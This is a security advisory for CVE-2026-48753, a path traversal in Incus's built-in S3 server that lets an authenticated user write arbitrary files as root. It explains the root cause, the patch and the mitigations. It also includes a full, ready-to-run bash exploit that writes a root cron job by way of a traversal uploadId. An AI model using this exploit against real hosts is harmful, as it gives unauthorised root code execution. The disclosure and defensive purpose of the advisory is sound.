critical · 9.9CVE-2026-48753Jun 26, 2026

CVE-2026-48753: Incus S3 Multipart Upload Path Traversal to Arbitrary File Write

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A missing path sanitization check in Incus's built-in S3 server lets any authenticated bucket user write files anywhere on the host filesystem, including cron directories, making remote code execution

Packagegithub.com/lxc/incus/v7/cmd/incusd
Ecosystemgo
Affected< 7.1.0
Fixed in7.1.0

The problem

Incus exposes an S3-compatible storage API via `incusd`. When handling a multipart upload part (HTTP PUT with `?partNumber=N&uploadId=...`), the server takes the `uploadId` query parameter and joins it directly onto the upload directory path using `filepath.Join(s.uploadsDir(), uploadID)` with no sanitization.

An attacker with valid S3 credentials (bucket owner or any user granted access) can supply a traversal sequence as the upload ID. The part data they upload becomes the file content written at the resolved path. Because `incusd` runs as root, the attacker can overwrite or create any file on the host, including `/etc/cron.d/` entries, `/etc/sudoers`, or SSH authorized keys, leading directly to remote code execution.

Proof of concept

bash
#!/usr/bin/env bash
# CVE-2026-48753 - Incus S3 multipart upload path traversal -> RCE via cron
# Usage: ./exploit.sh http://host:8555 mybucket ACCESS_KEY SECRET_KEY
set -euo pipefail

endpoint="${1%/}"
bucket="${2}"
access="${3}"
secret="${4}"

region="us-east-1"
service="s3"
key="anything"
part="1"

# Traversal payload: walks out of the uploads dir and lands in /etc/cron.d
# The part file will be written as /etc/cron.d/part-00001
upload_id="../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d"
target="/etc/cron.d/part-00001"
cmd="id > /tmp/incus-rce; rm -f $target"
body="* * * * * root /bin/sh -c '${cmd}'
"

host="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://([^/]+).*#\1#')"
uri_path="/$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://[^/]+##')/${bucket}/${key}"
qs="partNumber=${part}&uploadId=${upload_id//\//%2F}"
url="${endpoint}/${bucket}/${key}?${qs}"

amz_date=$(date -u +%Y%m%dT%H%M%SZ)
date_scope="${amz_date:0:8}"
scope="${date_scope}/${region}/${service}/aws4_request"
body_hash=$(printf '%s' "$body" | sha256sum | awk '{print $1}')
signed="host;x-amz-content-sha256;x-amz-date"

canonical="PUT
${uri_path}
${qs}
host:${host}
x-amz-content-sha256:${body_hash}
x-amz-date:${amz_date}

${signed}
${body_hash}"
canonical_hash=$(printf '%s' "$canonical" | sha256sum | awk '{print $1}')
string_to_sign="AWS4-HMAC-SHA256
${amz_date}
${scope}
${canonical_hash}"

hmac_hex() { printf '%s' "${2}" | openssl dgst -sha256 -mac HMAC -macopt "hexkey:${1}" -binary | xxd -p -c 256; }
k_date=$(printf 'AWS4%s' "$secret" | xxd -p -c 256)
k_date=$(hmac_hex "$k_date" "$date_scope")
k_region=$(hmac_hex "$k_date" "$region")
k_service=$(hmac_hex "$k_region" "$service")
k_signing=$(hmac_hex "$k_service" "aws4_request")
sig=$(hmac_hex "$k_signing" "$string_to_sign")
auth="AWS4-HMAC-SHA256 Credential=${access}/${scope},SignedHeaders=${signed},Signature=${sig}"

curl -ksS -X PUT "${url}" \
  -H "Host: ${host}" \
  -H "X-Amz-Date: ${amz_date}" \
  -H "X-Amz-Content-Sha256: ${body_hash}" \
  -H "Authorization: ${auth}" \
  --data-binary "${body}"

echo "[*] Payload written. Check /tmp/incus-rce after next cron tick."

The root cause is CWE-73 (External Control of File Name or Path). In `internal/server/storage/s3/local/multipart.go` (line 33 of the pre-patch commit `40dd4f1`), the function `uploadDir(uploadID)` returns `filepath.Join(s.uploadsDir(), uploadID)`. Go's `filepath.Join` resolves `..` components, so a traversal string like `../../../../etc/cron.d` resolves cleanly to an absolute path outside the intended uploads directory.

The patch adds a containment check after the join: it verifies that the resolved path still has `s.uploadsDir()` as a prefix (using `filepath.Clean` plus a `strings.HasPrefix` guard). If the resolved path escapes the uploads directory, the request is rejected with an error before any file I/O occurs.

Because `incusd` runs as root, writing to `/etc/cron.d/` with attacker-controlled content directly yields command execution as root on the next cron tick.

The fix

Upgrade to Incus 7.1.0 or later. The fix adds upload ID path containment validation in `internal/server/storage/s3/local/multipart.go`, rejecting any upload ID that resolves outside the designated uploads directory. If upgrading is not immediately possible, disable the S3 bucket API by unsetting `core.storage_buckets_address` and restrict network access to the incusd port.

Reported by antifob.

References: [1][2]